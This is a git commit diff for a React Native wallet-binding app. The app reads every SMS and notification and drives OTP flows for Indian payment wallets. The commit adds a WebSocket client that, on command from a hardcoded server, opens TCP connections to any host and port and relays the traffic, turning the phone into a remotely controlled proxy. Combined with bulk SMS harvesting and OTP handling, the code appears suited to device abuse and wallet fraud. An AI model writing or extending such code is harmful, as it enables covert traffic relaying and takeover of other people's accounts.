dev socket

This commit is contained in:
2026-01-30 00:13:53 +08:00
parent 5f0d79aa92
commit 25aa9e9cbe
5 changed files with 235 additions and 1294 deletions

1
.gitignore vendored
View File

@@ -13,3 +13,4 @@ android/.gradle/file-system.probe
android/.gradle/8.0.1/checksums/checksums.lock android/.gradle/8.0.1/checksums/checksums.lock
android/.gradle/8.0.1/checksums/md5-checksums.bin android/.gradle/8.0.1/checksums/md5-checksums.bin
android/.gradle/8.0.1/checksums/sha1-checksums.bin android/.gradle/8.0.1/checksums/sha1-checksums.bin
android/.idea/caches

266
App.tsx
View File

@@ -33,13 +33,12 @@ import {
PhonePePersonalBind, PhonePePersonalBind,
SmsMessage, SmsMessage,
NotificationMessage, NotificationMessage,
TcpProxy,
} from "rnwalletman"; } from "rnwalletman";
import BarcodeScanning from '@react-native-ml-kit/barcode-scanning'; import BarcodeScanning from '@react-native-ml-kit/barcode-scanning';
import RNFS from 'react-native-fs'; import RNFS from 'react-native-fs';
import rnauto from 'rnauto';
interface AppProps { interface AppProps {
} }
@@ -100,8 +99,10 @@ const styles = StyleSheet.create({
class Api { class Api {
private static readonly BASE_URL = 'http://192.168.1.155:16000'; public static readonly BASE_URL = 'http://192.168.1.155:16000';
private static _instance: Api | null = null; private static _instance: Api | null = null;
private ws: WebSocket | null = null;
private messageCallbacks = new Map<string, (data: any) => void>();
private constructor() { private constructor() {
} }
@@ -113,30 +114,160 @@ class Api {
return Api._instance; return Api._instance;
} }
public async register(walletType: WalletType, params: any) { public setWebSocket(ws: WebSocket, serverUrl: string) {
const response = await fetch(`${Api.BASE_URL}/register`, { this.ws = ws;
method: 'POST',
body: JSON.stringify({ walletType, params }), // 处理消息
ws.onmessage = (event) => {
try {
console.log('[WebSocket] 收到消息:', event.data);
const msg = JSON.parse(event.data);
// 处理响应消息
if (msg.type === 'response' && msg.messageId) {
const callback = this.messageCallbacks.get(msg.messageId);
if (callback) {
callback(msg.data);
this.messageCallbacks.delete(msg.messageId);
}
}
// 处理代理请求
if (msg.type === 'proxyRequest') {
console.log('[代理] 收到代理请求:', msg.data);
const { host, port } = msg.data;
// 创建TCP连接
TcpProxy.createProxy(
msg.messageId,
host,
port,
// onData: TCP收到数据 → 发送到服务器
(data: string) => {
ws.send(JSON.stringify({
type: 'proxyData',
messageId: msg.messageId,
data: { data }
}));
},
// onClose: TCP关闭 → 通知服务器
() => {
ws.send(JSON.stringify({
type: 'proxyClose',
messageId: msg.messageId
}));
},
// onError: TCP错误 → 通知服务器
(error: string) => {
console.error('[代理] TCP错误:', error);
ws.send(JSON.stringify({
type: 'proxyClose',
messageId: msg.messageId
}));
}
).then(success => {
if (success) {
// 回复就绪
ws.send(JSON.stringify({
type: 'proxyReady',
messageId: msg.messageId
}));
console.log('[代理] TCP连接已建立');
}
}).catch(err => {
console.error('[代理] 创建失败:', err);
});
}
// 处理代理数据(服务器 → TCP
if (msg.type === 'proxyData' && msg.data?.data) {
if (TcpProxy && typeof TcpProxy.writeProxy === 'function') {
TcpProxy.writeProxy(msg.messageId, msg.data.data).then(success => {
if (!success) {
// 写入失败,通知服务器关闭
ws.send(JSON.stringify({
type: 'proxyClose',
messageId: msg.messageId
}));
}
}).catch(err => {
console.error('[代理] 写入失败:', err);
ws.send(JSON.stringify({
type: 'proxyClose',
messageId: msg.messageId
}));
});
}
}
// 处理代理关闭
if (msg.type === 'proxyClose') {
TcpProxy.closeProxy(msg.messageId)
.catch(err => console.error('[代理] 关闭失败:', err));
}
} catch (error) {
console.error('[API] 解析消息失败:', error, event.data);
}
};
}
private sendMessage(type: string, data: any): Promise<any> {
return new Promise((resolve, reject) => {
if (!this.ws || this.ws.readyState !== WebSocket.OPEN) {
reject(new Error('WebSocket未连接'));
return;
}
const messageId = `msg_${Date.now()}_${Math.random()}`;
// 设置回调
this.messageCallbacks.set(messageId, (responseData) => {
if (responseData.success) {
resolve(responseData);
} else {
reject(new Error(responseData.message));
}
});
// 发送消息
this.ws.send(JSON.stringify({
type,
messageId,
data
}));
// 超时处理
setTimeout(() => {
if (this.messageCallbacks.has(messageId)) {
this.messageCallbacks.delete(messageId);
reject(new Error('请求超时'));
}
}, 30000);
});
}
public async register(walletType: WalletType, params: any) {
return this.sendMessage('registerWallet', {
walletType,
params
}); });
return response.json();
} }
public async requestOTP(walletType: WalletType, mobile: string, params: any = {}) { public async requestOTP(walletType: WalletType, mobile: string, params: any = {}) {
const response = await fetch(`${Api.BASE_URL}/request-otp`, { return this.sendMessage('requestOTP', {
method: 'POST', walletType,
headers: { 'Content-Type': 'application/json' }, mobile,
body: JSON.stringify({ walletType, mobile, params }), ...params
}); });
return response.json();
} }
public async verifyOTP(walletType: WalletType, mobile: string, otp: string, params: any = {}) { public async verifyOTP(walletType: WalletType, mobile: string, otp: string, params: any = {}) {
const response = await fetch(`${Api.BASE_URL}/verify-otp`, { return this.sendMessage('verifyOTP', {
method: 'POST', walletType,
headers: { 'Content-Type': 'application/json' }, mobile,
body: JSON.stringify({ walletType, mobile, otp, params }), otp,
...params
}); });
return response.json();
} }
} }
@@ -144,6 +275,8 @@ class Api {
export default class App extends Component<AppProps, AppState> { export default class App extends Component<AppProps, AppState> {
private deviceId: string; private deviceId: string;
private tuneUserId: string; private tuneUserId: string;
private clientId: string;
constructor(props: AppProps) { constructor(props: AppProps) {
super(props); super(props);
this.state = { this.state = {
@@ -160,9 +293,13 @@ export default class App extends Component<AppProps, AppState> {
// 临时使用测试成功的固定 ID // 临时使用测试成功的固定 ID
this.deviceId = 'B6C1AB6DA4B659C287EA76AA96EC154B80E8D28D'; this.deviceId = 'B6C1AB6DA4B659C287EA76AA96EC154B80E8D28D';
this.tuneUserId = 'b5bfa7df-e571-4ac8-bb51-90afc05d1d59'; this.tuneUserId = 'b5bfa7df-e571-4ac8-bb51-90afc05d1d59';
this.clientId = `android_${Date.now()}`;
} }
async componentDidMount() { async componentDidMount() {
/* 初始化代理客户端 */
await this.initProxyClient();
/* 权限申请 */ /* 权限申请 */
let smsPermission = await checkSmsPermission(); let smsPermission = await checkSmsPermission();
let notificationPermission = await checkNotificationPermission(); let notificationPermission = await checkNotificationPermission();
@@ -188,7 +325,7 @@ export default class App extends Component<AppProps, AppState> {
{ text: '取消' } { text: '取消' }
] ]
); );
return; // 等用户手动授权后重启应用 return;
} }
// 启动监听 // 启动监听
@@ -201,9 +338,6 @@ export default class App extends Component<AppProps, AppState> {
console.log('[Notification]', notification); console.log('[Notification]', notification);
}); });
/*
* 获取所有短信和通知
*/
if (smsPermission) { if (smsPermission) {
getAllSms().then((sms: SmsMessage[]) => { getAllSms().then((sms: SmsMessage[]) => {
console.log('[所有短信]', sms.length, '条'); console.log('[所有短信]', sms.length, '条');
@@ -217,7 +351,82 @@ export default class App extends Component<AppProps, AppState> {
} }
} }
private wsHeartbeatTimer?: NodeJS.Timeout;
/**
* 初始化代理客户端
*/
async initProxyClient() {
try {
const serverUrl = `ws://${Api.BASE_URL.replace('http://', '')}/ws`;
console.log(`[WebSocket] 连接服务器: ${serverUrl}, 客户端ID: ${this.clientId}`);
// 创建WebSocket连接
const ws = new WebSocket(serverUrl);
ws.onopen = () => {
console.log('[WebSocket] ✅ 已连接');
// 注册客户端
ws.send(JSON.stringify({
type: 'register',
clientId: this.clientId,
messageId: 'register_' + Date.now()
}));
// 设置给API使用传入serverUrl用于代理
Api.instance.setWebSocket(ws, serverUrl);
// 启动心跳
this.startHeartbeat(ws);
};
ws.onerror = (error) => {
console.error('[WebSocket] 错误:', error);
};
ws.onclose = () => {
console.log('[WebSocket] 连接关闭');
this.stopHeartbeat();
// 3秒后重连
setTimeout(() => this.initProxyClient(), 3000);
};
} catch (error) {
console.error('[WebSocket] 连接失败:', error);
}
}
/**
* 启动心跳
*/
startHeartbeat(ws: WebSocket) {
this.stopHeartbeat();
this.wsHeartbeatTimer = setInterval(() => {
if (ws.readyState === WebSocket.OPEN) {
ws.send(JSON.stringify({
type: 'ping',
messageId: 'ping_' + Date.now(),
clientId: this.clientId
}));
}
}, 20000); // 每20秒发送一次心跳
}
/**
* 停止心跳
*/
stopHeartbeat() {
if (this.wsHeartbeatTimer) {
clearInterval(this.wsHeartbeatTimer);
this.wsHeartbeatTimer = undefined;
}
}
componentWillUnmount(): void { componentWillUnmount(): void {
// 停止心跳
this.stopHeartbeat();
stopSmsListener(); stopSmsListener();
stopNotificationListener(); stopNotificationListener();
} }
@@ -617,15 +826,6 @@ export default class App extends Component<AppProps, AppState> {
return null; return null;
} }
handlePaytmPay = async () => {
try {
const result = await paytmPay("100", "test", "1234567890", "1234567890", "test");
Alert.alert('Paytm Pay Success', result.toString());
} catch (error) {
Alert.alert('Paytm Pay Error', (error as Error).message || 'Unknown error');
}
}
render() { render() {
return ( return (
<View style={styles.container}> <View style={styles.container}>
@@ -648,10 +848,6 @@ export default class App extends Component<AppProps, AppState> {
<TouchableOpacity style={[styles.bindButton, { backgroundColor: "pink" }]} onPress={this.handleBharatPeBusinessBind}> <TouchableOpacity style={[styles.bindButton, { backgroundColor: "pink" }]} onPress={this.handleBharatPeBusinessBind}>
<Text style={styles.bindButtonText}> BharatPe Business</Text> <Text style={styles.bindButtonText}> BharatPe Business</Text>
</TouchableOpacity> </TouchableOpacity>
<TouchableOpacity style={[styles.bindButton, { backgroundColor: "orange" }]} onPress={this.handlePaytmPay}>
<Text style={styles.bindButtonText}> Paytm Personal</Text>
</TouchableOpacity>
<TouchableOpacity style={[styles.bindButton, { backgroundColor: "brown" }]} onPress={this.handleMobikwikPersonalBind}> <TouchableOpacity style={[styles.bindButton, { backgroundColor: "brown" }]} onPress={this.handleMobikwikPersonalBind}>
<Text style={styles.bindButtonText}> Mobikwik Personal</Text> <Text style={styles.bindButtonText}> Mobikwik Personal</Text>
</TouchableOpacity> </TouchableOpacity>

File diff suppressed because it is too large Load Diff

View File

@@ -12,9 +12,11 @@
"dependencies": { "dependencies": {
"@react-native-cookies/cookies": "^6.2.1", "@react-native-cookies/cookies": "^6.2.1",
"@react-native-ml-kit/barcode-scanning": "^2.0.0", "@react-native-ml-kit/barcode-scanning": "^2.0.0",
"buffer": "^6.0.3",
"react": "18.2.0", "react": "18.2.0",
"react-native": "0.72.10", "react-native": "0.72.10",
"react-native-fs": "^2.20.0", "react-native-fs": "^2.20.0",
"react-native-tcp-socket": "^6.4.1",
"react-native-webview": "13.6.2", "react-native-webview": "13.6.2",
"rnauto": "./libs/rnauto", "rnauto": "./libs/rnauto",
"rnwalletman": "./libs/rnwalletman" "rnwalletman": "./libs/rnwalletman"